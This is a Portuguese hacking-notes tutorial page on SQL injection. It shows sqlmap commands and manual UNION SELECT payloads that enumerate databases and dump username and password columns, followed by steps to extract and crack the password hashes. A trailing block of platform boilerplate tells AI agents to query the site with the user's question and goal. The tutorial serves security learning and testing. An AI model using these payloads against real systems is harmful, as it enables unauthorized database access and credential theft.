> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# Injeção SQL com SQLMap e Teste Manual
Fluxo de exploração de injeção SQL combinando automação com SQLMap, validação manual e extração de banco de dados.
{% hint style="info" %}
Um **Injeção SQL** é uma vulnerabilidade de segurança em aplicações web que ocorre quando consultas SQL maliciosas são inseridas em campos de entrada para manipular um banco de dados subjacente. Isso permite que um invasor acesse, modifique ou filtre dados não autorizados. Ferramentas como o SQLMap automatizam esse processo ao identificar e explorar essas vulnerabilidades, realizando injeções SQL de forma automatizada. Alternativamente, invasores também podem realizar ataques de injeção SQL manualmente, manipulando diretamente as entradas para obter acesso não autorizado ao banco de dados.
{% endhint %}
## Injeção SQL automatizada (SQLMap)
1. Vamos interceptar uma requisição de pesquisa com o Burp Suite:
2. Vamos salvar esta requisição em um arquivo que vamos chamar de **request.req**:
3. O arquivo contém o seguinte **conteúdo**:
4. Com a **SQLMap** ferramenta, vamos executar o seguinte comando para ver se este site é **vulnerável** a um **ataque SQL**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. Com este comando, vamos listar todos os **bancos de dados**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. Com este comando, vamos listar todos os **tabelas** de um banco de dados específico:
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. Com este comando, vamos listar todos os **colunas** de uma tabela específica:
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. Com este comando, vamos visualizar as **conteúdo** das colunas:
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*Se a ferramenta encontrar senhas criptografadas, ela as descriptografa automaticamente*:
***
## Injeção SQL manual
1. Vamos interceptar uma requisição de pesquisa com o Burp Suite:
2. Envie esta requisição para **Repeater**:
3. No **searchitem** campo de pesquisa, adicione isto:
```bash
test' order by 100-- -
```
4. O servidor web nos diz que existem **menos colunas do que**:
5. Vamos tentar **até não sobrar mais nada** (neste caso, há 5 colunas):
6. Agora sabemos que existem **5 colunas**, agora com a **função union** função, vamos **visualizar** elas:
```arduino
test' union select 1,2,3,4,5-- -
```
* No caso de **alterar o nome** da 3ª coluna, por exemplo "test", isso **também mudará**:
7. Isso significa que, se introduzirmos a **database()** ou **user()** função, o **nome do banco de dados** ou o **nome de usuário que está executando o banco de dados** será exibido:
**ABAIXO ESTÁ O PROCEDIMENTO PARA LISTAGEM MANUAL:**
1. Vamos listar todos os **bancos de dados**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. Vamos listar todos **tabelas** de um banco de dados específico:
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. Vamos listar todos **colunas** de uma tabela específica:
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. Vamos visualizar os **conteúdos das colunas de nome de usuário e senha** (neste caso, usamos as colunas "nome do produto" e "tipo de produto"):
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* Vamos listar os **conteúdos das colunas de nome de usuário e senha** novamente:
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **Vamos copiar o conteúdo** para a seção Pretty do Burp Suite:
6. Vamos abrir o **Nvim** editor de texto e colar o texto copiado; em seguida, use este comando para formatá-lo corretamente: `:%s/,//r/g`
7. Com este comando, vamos manter apenas os hashes e copiá-los para a **área de transferência**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. Por fim, com o [Hashes.com](https://hashes.com/en/decrypt/hash) site, obtenha as senhas em **texto simples**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
